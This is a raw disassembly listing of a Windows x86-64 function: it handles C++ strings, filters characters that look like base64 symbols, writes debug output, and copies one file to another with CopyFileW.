mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
mov qword [rbp + 0x108], 0xf
mov qword [rbp + 0x100], r15
mov byte [rbp + 0xf0], 0
test r13, r13
je 0x140003cda
mov rcx, r13
call fcn.1400059f8
mov r14d, dword [rbp + 0x10]
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [0x14001a6b8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8d, dword [rbp + 0xb0]
lea rcx, [rbp + 0xf0]
call fcn.1400011c0
mov rsi, rax
lea rax, [rbp + 0x140]
cmp rax, rsi
je 0x140003daa
cmp qword [rbp + 0x158], 0x10
jb 0x140003d47
mov rcx, qword [rbp + 0x140]
call fcn.1400059f8
mov qword [rbp + 0x158], 0xf
mov qword [rbp + 0x150], r15
mov byte [rbp + 0x140], 0
cmp qword [rsi + 0x18], 0x10
jae 0x140003d7f
mov r8, qword [rsi + 0x10]
inc r8
mov rdx, rsi
lea rcx, [rbp + 0x140]
call fcn.140005c10
jmp 0x140003d8c
mov rax, qword [rsi]
mov qword [rbp + 0x140], rax
mov qword [rsi], r15
mov rax, qword [rsi + 0x10]
mov qword [rbp + 0x150], rax
mov rax, qword [rsi + 0x18]
mov qword [rbp + 0x158], rax
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
cmp qword [rbp + 0x108], 0x10
jb 0x140003dc0
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
mov r13, r15
cmp qword [rbp + 0x150], 0
jbe 0x140003f1a
lea rax, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rax, qword [rbp + 0x140]
movzx esi, byte [rax + r13]
mov byte [rbp], sil
mov ecx, esi
call fcn.140006004
test eax, eax
jne 0x140003e0c
cmp sil, 0x2b
je 0x140003e0c
cmp sil, 0x2f
jne 0x140003eef
lea rax, [rbp]
cmp rax, rdi
jae 0x140003e8b
lea rax, [rbp]
cmp rbx, rax
ja 0x140003e8b
lea rsi, [rbp]
sub rsi, rbx
cmp rdi, r12
jne 0x140003e7e
mov rcx, rdi
sub rcx, rbx
cmp rcx, 0xfffffffffffffffe
ja 0x140003f00
inc rcx
mov rdx, r12
sub rdx, rbx
cmp rcx, rdx
jbe 0x140003e7e
mov rdi, rdx
shr rdi, 1
or rax, 0xffffffffffffffff
sub rax, rdi
cmp rax, rdx
jae 0x140003e5f
mov rdx, r15
jmp 0x140003e62
add rdx, rdi
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x38]
call fcn.140005390
mov r12, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
test rdi, rdi
je 0x140003ee8
movzx eax, byte [rsi + rbx]
mov byte [rdi], al
jmp 0x140003ee8
cmp rdi, r12
jne 0x140003ee0
mov rcx, rdi
sub rcx, rbx
cmp rcx, 0xfffffffffffffffe
ja 0x140003f0d
inc rcx
mov rdx, r12
sub rdx, rbx
cmp rcx, rdx
jbe 0x140003ee0
mov rdi, rdx
shr rdi, 1
or rax, 0xffffffffffffffff
sub rax, rdi
cmp rax, rdx
jae 0x140003ec1
mov rdx, r15
jmp 0x140003ec4
add rdx, rdi
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x38]
call fcn.140005390
mov r12, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
test rdi, rdi
je 0x140003ee8
mov byte [rdi], sil
inc rdi
mov qword [rbp + 0x40], rdi
inc r13
cmp r13, qword [rbp + 0x150]
jae 0x140003f1a
jmp 0x140003dd1
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
mov r12, r15
sub rdi, rbx
je 0x140004014
mov rcx, qword [rbp + 0x128]
nop dword [rax]
movzx r13d, byte [rbx + r12]
or rax, 0xffffffffffffffff
sub rax, rcx
cmp rax, 1
jbe 0x140004007
lea rsi, [rcx + 1]
cmp rsi, 0xfffffffffffffffe
ja 0x140003ffa
cmp qword [rbp + 0x130], rsi
jae 0x140003f71
mov r8, rcx
mov rdx, rsi
lea rcx, [rbp + 0x118]
call fcn.140005480
jmp 0x140003f97
test rsi, rsi
jne 0x140003fa1
mov qword [rbp + 0x128], r15
lea rax, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rax, qword [rbp + 0x118]
mov byte [rax], sil
mov rcx, qword [rbp + 0x128]
test rsi, rsi
setne al
test al, al
je 0x140003fec
lea rax, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rax, qword [rbp + 0x118]
mov byte [rax + rcx], r13b
mov qword [rbp + 0x128], rsi
lea rax, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rax, qword [rbp + 0x118]
mov byte [rsi + rax], 0
mov rcx, qword [rbp + 0x128]
inc r12
cmp r12, rdi
jb 0x140003f30
jmp 0x140004014
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rdx, r15
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x14000406e
mov rdi, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xa0]
nop
lea rax, [rbp + 0xa0]
cmp rdi, 0x10
cmovae rax, r8
movsx eax, byte [rdx + rax]
or r14d, eax
inc rdx
cmp rdx, rcx
jb 0x140004050
mov edx, r14d
lea rcx, [rbp + 0xf0]
call fcn.140001090
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140004770
nop
cmp qword [rbp + 0x108], 0x10
jb 0x1400040ab
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
xor r8d, r8d
lea rdx, [0x14001a6b8]
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000442e
lea rcx, [0x14001a670]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [0x14001a6b8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rsi, r15
mov qword [rbp + 0x18], r15
mov rdi, r15
mov qword [rbp + 0x20], r15
mov r12, r15
mov qword [rbp + 0x28], r15
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8d, dword [rbp + 0xb0]
lea rcx, [rbp + 0xf0]
call fcn.1400011c0
nop
mov r14, r15
cmp qword [rbp + 0x100], 0
jbe 0x14000428c
nop word [rax + rax]
lea rax, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rax, qword [rbp + 0xf0]
movzx r13d, byte [r14 + rax]
mov byte [rbp], r13b
mov ecx, r13d
call fcn.140006004
test eax, eax
jne 0x14000417c
cmp r13b, 0x2b
je 0x14000417c
cmp r13b, 0x2f
jne 0x140004261
lea rax, [rbp]
cmp rax, rdi
jae 0x1400041fd
lea rax, [rbp]
cmp rsi, rax
ja 0x1400041fd
lea r13, [rbp]
sub r13, rsi
cmp rdi, r12
jne 0x1400041ee
mov rcx, rdi
sub rcx, rsi
cmp rcx, 0xfffffffffffffffe
ja 0x140004272
inc rcx
mov rdx, r12
sub rdx, rsi
cmp rcx, rdx
jbe 0x1400041ee
mov rdi, rdx
shr rdi, 1
or rax, 0xffffffffffffffff
sub rax, rdi
cmp rax, rdx
jae 0x1400041cf
mov rdx, r15
jmp 0x1400041d2
add rdx, rdi
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x18]
call fcn.140005390
mov r12, qword [rbp + 0x28]
mov rdi, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x18]
test rdi, rdi
je 0x14000425a
movzx eax, byte [r13 + rsi]
mov byte [rdi], al
jmp 0x14000425a
cmp rdi, r12
jne 0x140004252
mov rcx, rdi
sub rcx, rsi
cmp rcx, 0xfffffffffffffffe
ja 0x14000427f
inc rcx
mov rdx, r12
sub rdx, rsi
cmp rcx, rdx
jbe 0x140004252
mov rdi, rdx
shr rdi, 1
or rax, 0xffffffffffffffff
sub rax, rdi
cmp rax, rdx
jae 0x140004233
mov rdx, r15
jmp 0x140004236
add rdx, rdi
cmp rdx, rcx
cmovb rdx, rcx
lea rcx, [rbp + 0x18]
call fcn.140005390
mov r12, qword [rbp + 0x28]
mov rdi, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x18]
test rdi, rdi
je 0x14000425a
mov byte [rdi], r13b
inc rdi
mov qword [rbp + 0x20], rdi
inc r14
cmp r14, qword [rbp + 0x100]
jae 0x14000428c
jmp 0x140004140
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
lea rcx, str.vector_T__too_long
call fcn.140005910
int3
mov edx, 0xf
mov qword [rbp + 0xe0], rdx
mov rcx, r15
mov qword [rbp + 0xd8], rcx
mov byte [rbp + 0xc8], 0
mov r13, r15
sub rdi, rsi
je 0x1400043b4
nop word [rax + rax]
movzx r14d, byte [rsi + r13]
or rax, 0xffffffffffffffff
sub rax, rcx
cmp rax, 1
jbe 0x1400043a7
lea r12, [rcx + 1]
cmp r12, 0xfffffffffffffffe
ja 0x14000439a
cmp rdx, r12
jae 0x1400042fd
mov r8, rcx
mov rdx, r12
lea rcx, [rbp + 0xc8]
call fcn.140005480
jmp 0x14000431f
test r12, r12
jne 0x140004330
mov qword [rbp + 0xd8], r15
lea rax, [rbp + 0xc8]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0xc8]
mov byte [rax], r12b
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe0]
test r12, r12
setne al
test al, al
je 0x14000437f
lea rax, [rbp + 0xc8]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0xc8]
mov byte [rax + rcx], r14b
mov qword [rbp + 0xd8], r12
lea rax, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rax, qword [rbp + 0xc8]
mov byte [rax + r12], 0
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
inc r13
cmp r13, rdi
jb 0x1400042c0
cmp rdx, 0x10
jb 0x1400043b4
mov rcx, qword [rbp + 0xc8]
jmp 0x1400043bb
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, str.string_too_long
call fcn.140005910
int3
lea rcx, [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
cmp qword [rbp + 0xe0], 0x10
jb 0x1400043d8
mov rcx, qword [rbp + 0xc8]
call fcn.1400059f8
mov qword [rbp + 0xe0], 0xf
mov qword [rbp + 0xd8], r15
mov byte [rbp + 0xc8], 0
cmp qword [rbp + 0x108], 0x10
jb 0x140004407
mov rcx, qword [rbp + 0xf0]
call fcn.1400059f8
mov qword [rbp + 0x108], 0xf
mov qword [rbp + 0x100], r15
mov byte [rbp + 0xf0], 0
test rsi, rsi
je 0x14000442e
mov rcx, rsi
call fcn.1400059f8
nop
cmp qword [rbp + 0x130], 0x10
jb 0x140004444
mov rcx, qword [rbp + 0x118]
call fcn.1400059f8
mov qword [rbp + 0x130], 0xf
mov qword [rbp + 0x128], r15
mov byte [rbp + 0x118], 0
cmp qword [rbp + 0x158], 0x10
jb 0x140004473
mov rcx, qword [rbp + 0x140]
call fcn.1400059f8
mov qword [rbp + 0x158], 0xf
mov qword [rbp + 0x150], r15
mov byte [rbp + 0x140], 0
test rbx, rbx
je 0x14000449a
mov rcx, rbx
call fcn.1400059f8
nop
cmp qword [rbp + 0x1f8], 0x10
jb 0x1400044b0
mov rcx, qword [rbp + 0x1e0]
call fcn.1400059f8
mov qword [rbp + 0x1f8], 0xf
mov qword [rbp + 0x1f0], r15
mov byte [rbp + 0x1e0], 0
cmp qword [rbp + 0x1d0], 0x10
jb 0x1400044df
mov rcx, qword [rbp + 0x1b8]
call fcn.1400059f8
mov qword [rbp + 0x1d0], 0xf
mov qword [rbp + 0x1c8], r15
mov byte [rbp + 0x1b8], 0
cmp qword [rbp + 0xb8], 0x10
jb 0x14000450e
mov rcx, qword [rbp + 0xa0]
call fcn.1400059f8
mov qword [rbp + 0xb8], 0xf
mov qword [rbp + 0xb0], r15
mov byte [rbp + 0xa0], 0
cmp qword [rbp + 0x220], 0x10
jb 0x14000453d
mov rcx, qword [rbp + 0x208]
call fcn.1400059f8
mov qword [rbp + 0x220], 0xf
mov qword [rbp + 0x218], r15
mov byte [rbp + 0x208], 0
cmp qword [rbp + 0x1a8], 0x10
jb 0x14000456c
mov rcx, qword [rbp + 0x190]
call fcn.1400059f8
mov qword [rbp + 0x1a8], 0xf
mov qword [rbp + 0x1a0], r15
mov byte [rbp + 0x190], 0
lea rcx, [rbp + 0x58]
call fcn.140004de0
nop
lea rcx, [rbp + 0x78]
call fcn.140004de0
nop
cmp qword [rbp + 0x180], 8
jb 0x1400045af
mov rcx, qword [rbp + 0x168]
call fcn.1400059f8
xor eax, eax
mov rcx, qword [rbp + 0x4c0]
xor rcx, rbp
call fcn.140005a10
mov rbx, qword [rbp + 0x500]
mov rsi, qword [rbp + 0x508]
mov rdi, qword [rbp + 0x510]
lea rsp, [rbp + 0x4d0]
pop r15
pop r14
pop r13
pop r12
pop rbp
ret